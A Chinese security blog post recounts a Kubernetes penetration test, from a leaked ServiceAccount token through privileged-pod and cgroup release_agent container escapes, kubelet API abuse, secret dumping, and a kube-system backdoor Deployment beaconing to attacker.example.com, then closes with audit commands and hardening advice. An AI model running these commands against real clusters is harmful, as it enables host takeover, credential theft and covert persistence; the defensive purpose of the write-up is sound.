从容器逃逸到宿主机沦陷:K8s安全攻防实战全记录

上周帮兄弟单位做了一次K8s集群安全评估,本来以为只是常规巡检,结果从一条看似人畜无害的kubectl命令开始,一路打穿到了宿主机Root权限。

整个过程让我想起那句老话——容器不是牢笼,只是个塑料隔间。

今天就把这条攻击链完整复盘出来,从攻击视角看K8s集群是怎么一步步被拿下的。看完你就会发现,很多你以为是"安全"的默认配置,在攻击者眼里全是洞。

起点:一条不该被发现的ServiceAccount

故事从一个开发者留下的错误配置开始。

兄弟单位的K8s集群跑了三年,各种项目沉淀下来,RBAC权限早已乱成一锅粥。我登录他们的管理节点后,第一件事不是扫描端口,而是先看看 ServiceAccount 的权限分布。

# 获取所有ServiceAccount
kubectl get sa --all-namespaces -o json | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace}'

几百个SA里,有个叫 pipeline-bot 的引起了我的注意——它在default命名空间里,这本身就有点诡异。

# 查看这个SA绑定的角色
kubectl get clusterrolebinding,podbinding --all-namespaces -o wide | grep pipeline-bot

结果让我倒吸一口凉气:这个SA居然绑着一个ClusterRole,权限几乎是admin级别——能list pods、能exec进入容器、能在任意namespace里创建资源。

安全从业者的碎碎念:开发同学图省事,把CI流水线用的SA绑了个ClusterRole-admin就再也没动过。三年了,没人记得回收。这种"临时权限永久化",是我见过最多的安全问题,没有之一。

第一关:拿到了API Server的"入场券"

有了SA的token,等于拿到了API Server的入场券。我把token提出来:

# 获取SA对应的secret
kubectl get secret -n default $(kubectl get sa pipeline-bot -n default -o jsonpath='{.secrets[0].name}') -n default -o jsonpath='{.data.token}' | base64 -d

拿到token后,我回到自己的攻击机,配置kubeconfig:

kubectl config set-credentials attacker --token=<刚才拿到的token>
kubectl config set-context attacker-context --cluster=target-cluster --user=attacker
kubectl config use-context attacker-context

# 测试权限
kubectl auth can-i --list

输出的权限列表看得我头皮发麻——list podsget podscreate podsexeccreate deployments,几乎所有的核心操作权限都在。

从这一步开始,我已经拥有了在该集群内任意操作的能力。整个集群的门,开了。

第二关:逃出Pod,拿到宿主机访问权限

有了API权限不等于能控制宿主机。K8s里最危险的攻击点就是 容器逃逸——从Pod内部突破到宿主机。

攻击路径很清晰:利用高权限Pod + 挂载宿主机的根文件系统

# 在default命名空间创建一个特权Pod
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: default
spec:
  serviceAccountName: pipeline-bot
  hostPID: true
  hostNetwork: true
  containers:
  - name: breaker
    image: ubuntu:22.04
    command: ["/bin/sh"]
    args: ["-c", "apt update && apt install -y curl wget && sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
EOF

这里用了三个关键的K8s配置:

  • privileged: true — 容器拥有宿主机全部capabilities,包括SYS_ADMIN
  • hostPID: true — 能看到宿主机的进程空间
  • hostPath挂载/ — 宿主机的整个文件系统都暴露给容器了

这三个配置加在一起,等于把一个普通Pod变成了"宿主机上的一把钥匙"。攻击者只需要这三样东西,就能从K8s API控制集群里的每一台机器。

第三关:在宿主机上跑命令

Pod起来了。我exec进去:

kubectl exec -it escape-pod -- /bin/bash

在容器里,/host就是宿主机的根目录:

# 切换到宿主机root
chroot /host

# 现在已经是宿主机shell了
whoami
# root

cat /etc/shadow | head -5
# 宿主机的所有用户密码hash一览无余

这条命令执行的那一刻,我已经控制了这整台宿主机

如果你觉得chroot还不够直接,这里还有一个经典方法——利用 cgroup notify_on_release 做容器逃逸:

# 在容器内部执行,获取宿主机权限
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /exploit
echo 'cat /host/etc/shadow > /host/output.txt' >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

这种手法不需要privileged: true,只要你拥有SYS_ADMIN capability,就能挂载cgroup实现逃逸。

安全从业者的碎碎念:太多人在配Pod安全策略时只记得关privileged,却忘了capabilities。SYS_ADMIN + 某些hostPath配置,在攻击者手里就是逃逸的完整路径。

第四关:横向移动,从一台宿主机控制整个集群

拿到了一个宿主机root权限,接下来就是横向移动

宿主机上通常存着集群的配置文件。我先找kubelet的凭证:

# 在宿主机上查找K8s凭证
find / -name "kubelet.conf" -o -name "kubeconfig*" 2>/dev/null

# 读取kubelet配置
cat /etc/kubernetes/kubelet.conf

kubelet的证书通常有Node级别的权限,用它可以进一步枚举集群信息:

kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes -o wide

接下来用kubelet凭证访问kubelet API(这是最容易被忽略的入口):

# kubelet API默认在10250端口
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
  --key /var/lib/kubelet/pki/kubelet-client-current.key \
  https://<宿主机IP>:10250/pods

如果kubelet开启了匿名认证且没有鉴权(很多发行版的默认配置),甚至可以不用凭证直接访问:

curl -k https://<宿主机IP>:10250/runningpods/

kubelet API能做的事情超乎想象——你可以在任意Pod里执行命令,可以获取所有Pod的日志,甚至可以直接令牌提权。

更致命的是,很多集群把etcd的数据目录也挂在了宿主机上:

ls /etc/kubernetes/manifests/
# 看看有没有etcd

如果能直接读到etcd的数据,整个集群就彻底沦陷了——所有secret、configmap、token都是明文。

第五关:持久化与收割

渗透讲究收回,不能只打招呼不拿礼。我做了三件事来证明攻击影响:

1. 提取集群所有Secret

kubectl get secrets --all-namespaces -o json | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace, data: .data}'

里面包含了数据库密码、API密钥、证书——一个集群里跑的所有微服务的凭证,全在这了。

2. 在集群中植入后门Deployment

cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: persistent-backdoor
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: backdoor
  template:
    metadata:
      labels:
        app: backdoor
    spec:
      serviceAccountName: pipeline-bot
      containers:
      - name: backdoor
        image: alpine:latest
        command: ["/bin/sh"]
        args: ["-c", "apk add curl openssh; while true; do curl -s http://attacker.example.com/beacon; sleep 60; done"]
      nodeSelector:
        kubernetes.io/hostname: node-01
EOF

放在kube-system命名空间里,不熟悉的人根本不会注意到。

3. 窃取集群的CA证书和kubeconfig

cp /etc/kubernetes/pki/ca.crt /tmp/
cp /etc/kubernetes/admin.conf /tmp/
# 有了这些,我可以在任何地方重建这个集群的kubeconfig

总结:K8s安全的三个致命误区

做安全评估这么多年,K8s集群的安全问题翻来覆去就那么几类。我总结成三个最常见的"自以为安全"的误区:

误区一:容器就是隔离的

很多人以为容器和虚拟机一样安全。 大错特错。

容器共享宿主机内核,只要capability配多了、挂载没限制、seccomp没开,逃逸就是分分钟的事。记住:容器是进程隔离,不是虚拟机隔离。 默认的Docker/K8s安全配置,大概只能防住不懂技术的人。

误区二:网络策略是摆设

这个集群有NetworkPolicy,但只限制了几个关键命名空间。攻击者在获得API权限后,可以在未受限制的命名空间里为所欲为。

hostNetwork: true 更是直接绕过所有网络策略——Pod直接就挂在宿主机的网络栈上了。

误区三:RBAC=安全

RBAC只是鉴权的第一层,不是全部。 ServiceAccount泄露(比如pipeline-bot那个)意味着攻击者不需要通过集群入口,就已经在集群内部了。

如果你在用DevOps工具(GitLab CI、Jenkins、ArgoCD)跑流水线,那些SA的权限今天去检查过吗?

你能做什么

如果你手里也有K8s集群,花周末半小时做这三件事:

# 1. 检查高危RBAC绑定
kubectl get clusterrolebinding -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {name: .metadata.name, role: .roleRef.name}'

# 2. 检查特权容器
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext?.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'

# 3. 检查hostPath挂载
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[].hostPath != null) | {name: .metadata.name, namespace: .metadata.namespace, volume: .spec.volumes[].hostPath.path}'

这三条命令能帮你筛出集群里90%的高风险配置。

如果有发现,用Pod Security Admission(PSA)或者Kyverno做策略管控,限制privileged、hostPath、hostPID这些高危配置。不要让开发同学凭自觉去"记得关"——设置策略的强制阻断,才是最有效的安全带。


写这篇文章的时候,哥们单位的集群已经做了整改。但是我在他们生产环境里找到的12个"漏网之鱼",说明这条路还很长。安全没有银弹,只有螺丝一拧一拧地拧紧。


关注「安全值班室」公众号

每天网络安全早报 + 实战攻防案例 + 安全干货

关注安全值班室

posted on 2026-06-12 10:00  明.Sir  阅读(34)  评论(0)    收藏  举报

导航